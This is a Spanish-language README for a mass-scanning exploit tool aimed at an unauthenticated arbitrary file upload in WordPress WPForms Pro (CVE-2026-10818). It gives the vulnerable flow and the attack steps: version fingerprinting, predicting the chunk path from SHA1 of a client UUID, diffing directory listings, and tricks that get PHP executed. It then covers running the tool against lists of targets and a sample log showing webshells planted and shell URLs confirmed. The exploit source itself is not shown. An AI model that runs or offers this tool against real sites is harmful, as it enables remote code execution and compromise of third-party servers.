
WPForms Pro <= 1.10.1.1 - Escritura Arbitraria de Archivos No Autenticada a través del Orden de Inicio/Finalización de Subida Fragmentada
WPForms Pro <= 1.10.1.1 - Escritura Arbitraria de Archivos No Autenticada mediante el Orden de Inicialización/Finalización de la Subida Fragmentada
Exploit de Prueba de Concepto
Orden de Inicialización/Finalización de la Subida Fragmentada → Exposición de Ruta Predecible → Ejecución Remota de Código
| Campo | Detalle |
|---|---|
| CVE ID | CVE-2026-10818 |
| Plugin Afectado | WPForms Pro (WordPress) |
| Versiones Afectadas | Todas las versiones hasta la 1.10.1.1 inclusive |
| Tipo | Escritura Arbitraria de Archivos No Autenticada |
| CWE | CWE-434: Subida sin Restricciones de Archivos con Tipo Peligroso |
| CVSS 3.1 | 8.1 ALTA — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticación | No se requiere ninguna |
El plugin WPForms Pro para WordPress es vulnerable a la Subida Arbitraria de Archivos en todas las versiones hasta la 1.10.1.1 inclusive a través de la función ajax_chunk_upload_finalize. Esto se debe a que la validación del tipo de archivo ocurre después de que los metadatos del fragmento y el contenido del archivo ya se han escrito en el disco, y a que el archivo ensamblado no se elimina cuando la validación falla. Esto permite que atacantes no autenticados suban archivos que pueden ser ejecutables, lo que hace posible la ejecución remota de código.
wpforms_upload_chunk_init → Metadata created BEFORE extension validation
wpforms_upload_chunk → Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded → File assembled BEFORE type validation
→ File persists on disk even when validation fails
La cadena de vulnerabilidad explota un fallo crítico de orden en el ciclo de vida de la subida fragmentada:
SHA1(UUID)-0.chunk)wp_ajax_nopriv_*)readme.txt y el código fuente HTML para identificar versiones vulnerables de WPFormswpforms_upload_chunk_init es accesible externamente antes de continuarSHA1(UUID)SHA1(client-controlled UUID) para derivar la URL exacta del fragmento sin necesidad de adivinar/wpforms/tmp/ antes y después de las subidas de archivos ejecutables para identificar archivos recién escritos<32hex>.<ext>.chunk/x.php, /.php) para desencadenar la ejecución de PHP en extensiones que no son PHPPython >= 3.8
pip install requests urllib3 beautifulsoup4
beautifulsoup4es opcional pero recomendado para una extracción más fiable de los campos del formulario.
python CVE-2026-10818.py
Se te solicitará lo siguiente:
| Solicitud | Descripción | Predeterminado |
|---|---|---|
| Archivo de objetivos | Ruta a un archivo de texto que contiene un objetivo por línea | list.txt |
| Hilos | Número de trabajadores concurrentes (1–20) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Una URL por línea. Admite http://, https://, dominios sin prefijo, IPs e instalaciones en subdirectorios.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ┃
┃ ██▄ ██ ██ ██ ┃
┃ ████ ██ ████ ┃
┃ ██ ██ ██ ██ ┃
┃ ██ ████ ████ ┃
┃ ██ ███ ██ ██ ┃
┃ ┃
┃ Nxploited ━ Khaled Alenazi ━ T.m @Kxploit ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 ┃
┃ Chunked Upload → Predictable Path → RCE ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
Durante el escaneo, cada objetivo avanza a través de etapas etiquetadas:
02:14:52 ◆ target.com VER WPForms 1.9.3.1 vulnerable
02:14:53 ◆ target.com FORM 1 upload form(s) on /contact
02:14:53 ◆ target.com UPLOAD 6 safe + 5 exec payloads
02:14:55 ◆ target.com FIN poly_png → a8f3...1b22.png URL returned
02:14:57 ◆ target.com DIR listing enabled, 4 file(s) before exec upload
02:14:59 ◐ target.com EXEC shell_php → finalized on disk (hash unknown)
02:15:01 ◆ target.com DIR 1 NEW exec file(s) after upload!
● target.com SHELL dir-new:7c4f...e8a1.php https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php
Todos los resultados se guardan en Nx_hit/:
| Archivo | Contenido |
|---|---|
Nx_shell.txt | RCE confirmado — URL, etiqueta y vista previa del cuerpo de la respuesta |
Nx_vuln.txt | Escritura arbitraria de archivos confirmada sin verificación de ejecución |